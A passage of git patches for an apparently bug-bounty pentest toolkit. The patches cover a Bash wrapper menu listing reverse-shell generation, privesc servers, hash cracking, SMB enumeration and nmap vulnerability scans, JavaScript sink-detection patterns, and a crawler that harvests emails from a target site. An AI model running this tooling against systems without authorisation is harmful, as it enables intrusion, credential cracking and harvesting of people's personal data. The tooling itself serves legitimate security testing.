AWS S3 [bucket]" + echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" - echo -e "\thttp [PORT]\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" - echo -e "\tprivesc_tools_linux \t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" - echo -e "\tprivesc_tools_windows \t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" - echo -e "\tgenerate_shells [IP] [PORT] \t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" + echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "\t$CYAN privesc_tools_linux $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" + echo -e "\t$CYAN privesc_tools_windows $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" + echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$BLUE:: SMB SUITE ::$CLR" - echo -e "\tsmb_enum [IP] [USER] [PASSWORD]\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - echo -e "\tsmb_get_file [IP] [user] [password] [PATH] \t -> downloads file from SMB share [PATH] on [IP]" - echo -e "\tsmb_mount [IP] [SHARE] [USER]\t\t\t -> mounts SMB share at ./mnt/shares" - echo -e "\tsmb_umount\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" + echo -e "\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" + echo -e "\t$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" echo -e "$BLUE:: PASSWORDS CRACKIN' ::$CLR" - echo -e "\trockyou_john [TYPE] [HASHES]\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" - echo -e "\tssh_to_john [ID_RSA]\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" - echo -e "\trockyou_zip [ZIP file]\t\t\t\t -> crack ZIP password" + echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" + echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" + echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" - echo -e "\tnpm_scan [MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" - echo -e "\tjavascript_sca [FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" - echo -e "\tdecompile_jar [.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "\t$CYAN npm_scan $GRAY[MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" + echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" - echo -e "\tjadx [.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" - echo -e "\tdex_to_jar [.dex file]\t\t\t\t -> exports .dex file into .jar" - echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" - echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" + echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" + echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t\t -> extracts APK file and run apktool on it" + echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\tfu [URL] [DICT] [*EXT/*ENDSLASH]\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "$BLUE:: MISC ::$CLR" - echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" - echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" + echo -e "\t$CYAN php7 $CLR\t\t\t\t\t\t -> switch PHP to version 7.x" + echo -e "\t$CYAN php8 $CLR\t\t\t\t\t\t -> switch PHP to version 8.x" echo -e "\n\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" ;; From 1619570e02e6e0c33890490af65480479123476f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 3 Nov 2021 11:03:09 +0000 Subject: [PATCH 033/289] [Nodestructor] Adjust some patterns --- nodestructor/nodestructor.py | 58 ++++++++++++++++++------------------ 1 file changed, 29 insertions(+), 29 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 2daa19d..9d0af7d 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -131,34 +131,34 @@ ".*setContent\(", ".*setHTML\(", ".*\.SafeString\(", - ".*jQuery.globalEval", + ".*globalEval", ".*execScript", - ".*element.insertAdjacentHTML", - ".*element.setAttribute.on", - "xhr.open", - "xhr.send", + ".*insertAdjacentHTML\(", + ".*setAttribute.on", + ".*xhr.open", + ".*xhr.send", "fetch", - "xhr.setRequestHeader.name", - "xhr.setRequestHeader.value", - "jQuery.attr.href", - "jQuery.attr.src", - "jQuery.attr.data", - "jQuery.attr.action", - "jQuery.attr.formaction", - "jQuery.prop.href", - "jQuery.prop.src", - "jQuery.prop.data", - "jQuery.prop.action", - "jQuery.prop.formaction", + ".*xhr.setRequestHeader.name", + ".*xhr.setRequestHeader.value", + ".*attr.href", + ".*attr.src", + ".*attr.data", + ".*attr.action", + ".*attr.formaction", + ".*prop.href", + ".*prop.src", + ".*prop.data", + ".*prop.action", + ".*prop.formaction", "form.action", - "input.formaction", - "button.formaction", - "button.value", - "element.setAttribute.href", - "element.setAttribute.src", - "element.setAttribute.data", - "element.setAttribute.action", - "element.setAttribute.formaction", + ".*input.formaction", + ".*button.formaction", + ".*button.value", + ".*setAttribute.href", + ".*setAttribute.src", + ".*setAttribute.data", + ".*setAttribute.action", + ".*setAttribute.formaction", "webdatabase.executeSql", "document.domain", "history.pushState", @@ -173,10 +173,10 @@ "localStorage.setItem.value", "sessionStorage.setItem.name", "sessionStorage.setItem.value", - "element.outerText", - "element.innerText", - "element.textContent", - "element.style.cssText", + ".*outerText", + ".*innerText", + ".*textContent", + ".*style.cssText", "RegExp" ] From 1e9748c0b358cb68ac737909db1af3e93d4b9276 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 3 Nov 2021 11:03:59 +0000 Subject: [PATCH 034/289] [Nodestructor] Adjust some patterns (cont.) --- nodestructor/nodestructor.py | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 9d0af7d..646b687 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -160,24 +160,24 @@ ".*setAttribute.action", ".*setAttribute.formaction", "webdatabase.executeSql", - "document.domain", - "history.pushState", - "history.replaceState", - "xhr.setRequestHeader", - "websocket", - "anchor.href", - "anchor.target", - "JSON.parse", - "document.cookie", - "localStorage.setItem.name", - "localStorage.setItem.value", - "sessionStorage.setItem.name", - "sessionStorage.setItem.value", + ".*document.domain", + ".*history.pushState", + ".*history.replaceState", + ".*setRequestHeader", + ".*websocket", + ".*anchor.href", + ".*anchor.target", + ".*JSON.parse", + ".*document.cookie", + ".*localStorage.setItem.name", + ".*localStorage.setItem.value", + ".*sessionStorage.setItem.name", + ".*sessionStorage.setItem.value", ".*outerText", ".*innerText", ".*textContent", ".*style.cssText", - "RegExp" + ".*RegExp" ] url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") From 71d79719ebbe6edeb5f7d32ed0df2a09f86f1ce8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 3 Nov 2021 15:56:44 +0000 Subject: [PATCH 035/289] [Nodestructor] Adjust some patterns (cont.) --- nodestructor/nodestructor.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 646b687..53e3a12 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -82,6 +82,7 @@ ".*outerHTML", ".*appendChild\(", ".*document.write\(", + ".*document.writeln\(", ".*document.location", ".*document.URL", ".*document.documentURI", From 15878988fa7294f229f22aa6bb9384637b9e26c3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 4 Nov 2021 12:19:10 +0000 Subject: [PATCH 036/289] [s0mbra] Include custom X-Hackerone header in ffuf requests --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 85de86f..666c47f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -379,13 +379,13 @@ fu() { if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,422,500 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,422,500 -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,422,500 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,422,500 -H "X-Hackerone: bl4de" fi else - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 -H "X-Hackerone: bl4de" fi } From ca95950675a5a156d035b152adfe8cf62ba94497 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 9 Nov 2021 20:07:42 +0000 Subject: [PATCH 037/289] [s0mbra] nmap vulnscan mode; UI changes --- s0mbra.sh | 47 +++++++++++++++++++++++++++++++++++++---------- 1 file changed, 37 insertions(+), 10 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 666c47f..5091f75 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -60,34 +60,57 @@ set_ip() { } # runs $2 port(s) against IP; then -sV -sC -A against every open port found +# --script vuln ??? full_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" + echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CYAN" ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else - echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" - echo -e "\t\t -> search open ports..." + echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ..." + echo -e " ...search open ports...$CYAN" ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi - echo -e "[+] Done!" + echo -e "$BLUE\n[+] Done! $CLR" } +# --script=vulscan/vulscan.nse +# requires: https://github.com/scipag/vulscan +nmap_vuln_scan() { + if [[ -z "$2" ]]; then + echo -e "$BLUE[+] Running full nmap scan with vulnerability scanning against all ports on $1" + echo -e " Will probably take a while, so go grab some coffee or something.... $CYAN" + ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" + nmap -p"$ports" -sV -sC -A -n --script=vulscan/vulscan.nse "$1" -oN ./"$1".log -oX ./"$1".xml + else + echo -e "$BLUE[+] Running full nmap scan with vulnerability scanning against $2 port(s) on $1 ..." + echo -e " Will probably take a while, so go grab some coffee or something...." + echo -e " ...search open ports... $CYAN" + ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" + nmap -p"$ports" -sV -sC -A -n --script=vulscan/vulscan.nse "$1" -oN ./"$1".log -oX ./"$1".xml + fi + + echo -e "$BLUE\n[+] Done! $CLR" +} + + # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CLR" + echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CYAN" nmap -p- $1 else - echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" + echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CYAN" nmap --top-ports $2 $1 fi - echo -e "[+] Done!" + echo -e "$BLUE\n[+] Done! $CLR" } # runs Python 3 built-in HTTP server on [PORT] @@ -476,6 +499,9 @@ case "$cmd" in quick_nmap_scan) quick_nmap_scan "$2" "$3" ;; + nmap_vuln_scan) + nmap_vuln_scan "$2" "$3" + ;; http) http "$2" ;; @@ -551,6 +577,7 @@ case "$cmd" in echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" + echo -e "\t$CYAN nmap_vuln_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A --script=vulscan/vulscan.nse on found open ports" echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" @@ -561,7 +588,7 @@ case "$cmd" in echo -e "\t$CYAN privesc_tools_windows $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$BLUE:: SMB SUITE ::$CLR" - echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" echo -e "\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" echo -e "\t$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" From 01854092a00303097ac7b8529861f4a4c94af7fe Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 10 Nov 2021 18:59:26 +0000 Subject: [PATCH 038/289] [s0mbra] fufu --- s0mbra.sh | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5091f75..0798d42 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -53,14 +53,12 @@ __logo=" ,B@B " - # config commands set_ip() { export IP="$1" } # runs $2 port(s) against IP; then -sV -sC -A against every open port found -# --script vuln ??? full_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CYAN" @@ -99,7 +97,6 @@ nmap_vuln_scan() { echo -e "$BLUE\n[+] Done! $CLR" } - # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then @@ -410,6 +407,14 @@ fu() { else ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 -H "X-Hackerone: bl4de" fi + echo -e "$BLUE\n[+] Done! $CLR" +} + +fufu() { + clear + echo -e "$BLUE[+] Enumerate web resources on $1 with starter.txt dictionary; matching HTTP $2...$CLR" + ffuf -c -w /Users/bl4de/hacking/dictionaries/starter.txt -u $1FUZZ -mc $2 -H "X-Hackerone: bl4de" + echo -e "$BLUE\n[+] Done! $CLR" } generate_shells() { @@ -562,6 +567,9 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; + fufu) + fufu "$2" "$3" + ;; s3go) s3go "$2" "$3" ;; @@ -607,6 +615,7 @@ case "$cmd" in echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\t$CYAN fufu $GRAY[URL] [HTTP RESPONSE CODE(S)]$CLR\t\t -> web application enumeration with starter.txt" echo -e "$BLUE:: MISC ::$CLR" echo -e "\t$CYAN php7 $CLR\t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\t$CYAN php8 $CLR\t\t\t\t\t\t -> switch PHP to version 8.x" From 11f3d3fdb0314e39bc7758f402dd6d9adc0d1a6d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 12 Nov 2021 22:07:29 +0000 Subject: [PATCH 039/289] [s0mbra] Removed logo --- s0mbra.sh | 31 +------------------------------ 1 file changed, 1 insertion(+), 30 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 0798d42..12e2d25 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -24,35 +24,6 @@ CYAN='\033[36m' CLR='\033[0m' NEWLINE='\n' - -__logo=" - :PB@Bk: - ,jB@@B@B@B@BBL. - 7G@B@B@BMMMMMB@B@B@Nr - :kB@B@@@MMOMOMOMOMMMM@B@B@B1, - :5@B@B@B@BBMMOMOMOMOMOMOMM@@@B@B@BBu. - 70@@@B@B@B@BXBBOMOMOMOMOMOMMBMPB@B@B@B@B@Nr - G@@@BJ iB@B@@ OBMOMOMOMOMOMOM@2 B@B@B. EB@B@S - @@BM@GJBU. iSuB@OMOMOMOMOMOMM@OU1: .kBLM@M@B@ - B@MMB@B 7@BBMMOMOMOMOMOBB@: B@BMM@B - @@@B@B 7@@@MMOMOMOMM@B@: @@B@B@ - @@OLB. BNB@MMOMOMM@BEB rBjM@B - @@ @ M OBOMOMM@q M .@ @@ - @@OvB B:u@MMOMOMMBJiB .BvM@B - @B@B@J 0@B@MMOMOMOMB@B@u q@@@B@ - B@MBB@v G@@BMMMMMMMMMMMBB@5 F@BMM@B - @BBM@BPNi LMEB@OMMMM@B@MMOMM@BZM7 rEqB@MBB@ - B@@@BM B@B@B qBMOMB@B@B@BMOMBL B@B@B @B@B@M - J@@@@PB@B@B@B7G@OMBB. ,@MMM@qLB@B@@@BqB@BBv - iGB@,i0@M@B@MMO@E : M@OMM@@@B@Pii@@N: - . B@M@B@MMM@B@B@B@MMM@@@M@B - @B@B.i@MBB@B@B@@BM@::B@B@ - B@@@ .B@B.:@B@ :B@B @B@O - :0 r@B@ B@@ .@B@: P: - vMB :@B@ :BO7 - ,B@B -" - # config commands set_ip() { export IP="$1" @@ -481,7 +452,7 @@ pwn() { cmd=$1 clear -# echo "$__logo" + case "$cmd" in pwn) pwn "$2" From 3ef9fa34367d1386a70cdb541435010a1ffd748f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 17 Nov 2021 10:22:20 +0000 Subject: [PATCH 040/289] [Vi.py] Vi - tool to extract useful stuff from the website [initial commit] --- vi.py | 66 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 vi.py diff --git a/vi.py b/vi.py new file mode 100644 index 0000000..e8e9270 --- /dev/null +++ b/vi.py @@ -0,0 +1,66 @@ +from bs4 import BeautifulSoup +import requests +import requests.exceptions +import urllib.parse +from collections import deque +import re + +''' +Vi.py - an automated script to extract all inteersting information from website + +@author: bl4de +''' +user_url = str(input('[+] Enter Target URL To Scan: ')) +urls = deque([user_url]) +MAX_COUNT = 10 + +scraped_urls = set() +emails = set() +javascript_files = set() + +count = 0 +try: + while len(urls): + count += 1 + if count == MAX_COUNT: + break + url = urls.popleft() + scraped_urls.add(url) + + parts = urllib.parse.urlsplit(url) + base_url = '{0.scheme}://{0.netloc}'.format(parts) + + path = url[:url.rfind('/')+1] if '/' in parts.path else url + + print('[%d] Processing %s' % (count, url)) + try: + response = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): + continue + + new_emails = set(re.findall( + r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", response.text, re.IGNORECASE)) + emails.update(new_emails) + + new_javascripts = set(re.findall( + r"[a-z0-9\.\-_]+\.js", response.text, re.IGNORECASE + )) + javascript_files.update(new_javascripts) + + soup = BeautifulSoup(response.text, features="lxml") + + for anchor in soup.find_all("a"): + link = anchor.attrs['href'] if 'href' in anchor.attrs else '' + if link.startswith('/'): + link = base_url + link + elif not link.startswith('http'): + link = path + link + if not link in urls and not link in scraped_urls: + urls.append(link) +except KeyboardInterrupt: + print('[-] Closing!') + +for mail in emails: + print(mail) +for js_file in javascript_files: + print(js_file) From 3b992758109fa09cf5ff2e99eff4cc9901645947 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 17 Nov 2021 10:26:04 +0000 Subject: [PATCH 041/289] [Vi.py] Some development plan defined, I guess --- vi.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/vi.py b/vi.py index e8e9270..a9fc19f 100644 --- a/vi.py +++ b/vi.py @@ -9,7 +9,19 @@ Vi.py - an automated script to extract all inteersting information from website @author: bl4de + +@TBD: +- refactor scafolding code +- extract JavaScript files -> scan them for stuff + (API endpoints, secrets, hardcoded information etc.) +- parse HTML for stuff +- harvest useful information from any comment found (in HTML and JS alike) +- other? (TBA) + +- add as a submodule (enabled by cmd option) to denumerator.py + and perform full recon of every website found in scope ''' + user_url = str(input('[+] Enter Target URL To Scan: ')) urls = deque([user_url]) MAX_COUNT = 10 From bf0183de511a7c3962be94eeaa0450e9bb671a96 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 18 Nov 2021 10:01:18 +0000 Subject: [PATCH 042/289] [Vi.py] refactoring (in progress) --- vi.py | 36 +++++++++++++++++++++++++++--------- 1 file changed, 27 insertions(+), 9 deletions(-) diff --git a/vi.py b/vi.py index a9fc19f..14440a3 100644 --- a/vi.py +++ b/vi.py @@ -11,7 +11,9 @@ @author: bl4de @TBD: -- refactor scafolding code +- refactor scafolding code [In progress] +- add argparser + - extract JavaScript files -> scan them for stuff (API endpoints, secrets, hardcoded information etc.) - parse HTML for stuff @@ -22,6 +24,28 @@ and perform full recon of every website found in scope ''' + +def extract_emails(emails: set, http_response: requests.Response) -> set: + ''' + Extracts emails from provided HTTP response body and append them + to already found set of emails + ''' + emails.update(set(re.findall( + r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", http_response.text, re.IGNORECASE))) + return emails + + +def extract_javascript_files(javascript_files: set, http_response: requests.Response) -> set: + ''' + Extracts JavaScript files urls from provided HTTP response body and append them + to already found set of javascript_files + ''' + javascript_files.update(set(re.findall( + r"[a-z0-9\.\-_]+\.js", response.text, re.IGNORECASE + ))) + return javascript_files + + user_url = str(input('[+] Enter Target URL To Scan: ')) urls = deque([user_url]) MAX_COUNT = 10 @@ -50,14 +74,8 @@ except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): continue - new_emails = set(re.findall( - r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", response.text, re.IGNORECASE)) - emails.update(new_emails) - - new_javascripts = set(re.findall( - r"[a-z0-9\.\-_]+\.js", response.text, re.IGNORECASE - )) - javascript_files.update(new_javascripts) + emails = extract_emails(emails, response) + javascript_files = extract_javascript_files(javascript_files, response) soup = BeautifulSoup(response.text, features="lxml") From a408573722f6b1aec04ed5f06334e6f5dd71b6e6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 18 Nov 2021 10:03:02 +0000 Subject: [PATCH 043/289] [Vi.py] refactor main() --- vi.py | 94 ++++++++++++++++++++++++++++++++--------------------------- 1 file changed, 51 insertions(+), 43 deletions(-) diff --git a/vi.py b/vi.py index 14440a3..386c8cd 100644 --- a/vi.py +++ b/vi.py @@ -46,51 +46,59 @@ def extract_javascript_files(javascript_files: set, http_response: requests.Resp return javascript_files -user_url = str(input('[+] Enter Target URL To Scan: ')) -urls = deque([user_url]) -MAX_COUNT = 10 +if __name__ == "__main__": + def main(): -scraped_urls = set() -emails = set() -javascript_files = set() + user_url = str(input('[+] Enter Target URL To Scan: ')) + urls = deque([user_url]) + MAX_COUNT = 10 -count = 0 -try: - while len(urls): - count += 1 - if count == MAX_COUNT: - break - url = urls.popleft() - scraped_urls.add(url) + scraped_urls = set() + emails = set() + javascript_files = set() - parts = urllib.parse.urlsplit(url) - base_url = '{0.scheme}://{0.netloc}'.format(parts) + count = 0 - path = url[:url.rfind('/')+1] if '/' in parts.path else url - - print('[%d] Processing %s' % (count, url)) try: - response = requests.get(url) - except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): - continue - - emails = extract_emails(emails, response) - javascript_files = extract_javascript_files(javascript_files, response) - - soup = BeautifulSoup(response.text, features="lxml") - - for anchor in soup.find_all("a"): - link = anchor.attrs['href'] if 'href' in anchor.attrs else '' - if link.startswith('/'): - link = base_url + link - elif not link.startswith('http'): - link = path + link - if not link in urls and not link in scraped_urls: - urls.append(link) -except KeyboardInterrupt: - print('[-] Closing!') - -for mail in emails: - print(mail) -for js_file in javascript_files: - print(js_file) + ''' + main execution loop + ''' + while len(urls): + count += 1 + if count == MAX_COUNT: + break + url = urls.popleft() + scraped_urls.add(url) + + parts = urllib.parse.urlsplit(url) + base_url = '{0.scheme}://{0.netloc}'.format(parts) + + path = url[:url.rfind('/')+1] if '/' in parts.path else url + + print('[%d] Processing %s' % (count, url)) + try: + response = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): + continue + + emails = extract_emails(emails, response) + javascript_files = extract_javascript_files( + javascript_files, response) + + soup = BeautifulSoup(response.text, features="lxml") + + for anchor in soup.find_all("a"): + link = anchor.attrs['href'] if 'href' in anchor.attrs else '' + if link.startswith('/'): + link = base_url + link + elif not link.startswith('http'): + link = path + link + if not link in urls and not link in scraped_urls: + urls.append(link) + except KeyboardInterrupt: + print('[-] Closing!') + + for mail in emails: + print(mail) + for js_file in javascript_files: + print(js_file) From bb2c19f563e0c02305abc7dcaa7a6687b6154520 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 18 Nov 2021 10:06:01 +0000 Subject: [PATCH 044/289] [Vi.py] refactoring - Move main routine to proceed() --- vi.py | 115 ++++++++++++++++++++++++++++++---------------------------- 1 file changed, 59 insertions(+), 56 deletions(-) diff --git a/vi.py b/vi.py index 386c8cd..c1b6c4f 100644 --- a/vi.py +++ b/vi.py @@ -41,64 +41,67 @@ def extract_javascript_files(javascript_files: set, http_response: requests.Resp to already found set of javascript_files ''' javascript_files.update(set(re.findall( - r"[a-z0-9\.\-_]+\.js", response.text, re.IGNORECASE + r"[a-z0-9\.\-_]+\.js", http_response.text, re.IGNORECASE ))) return javascript_files +def proceed(): + 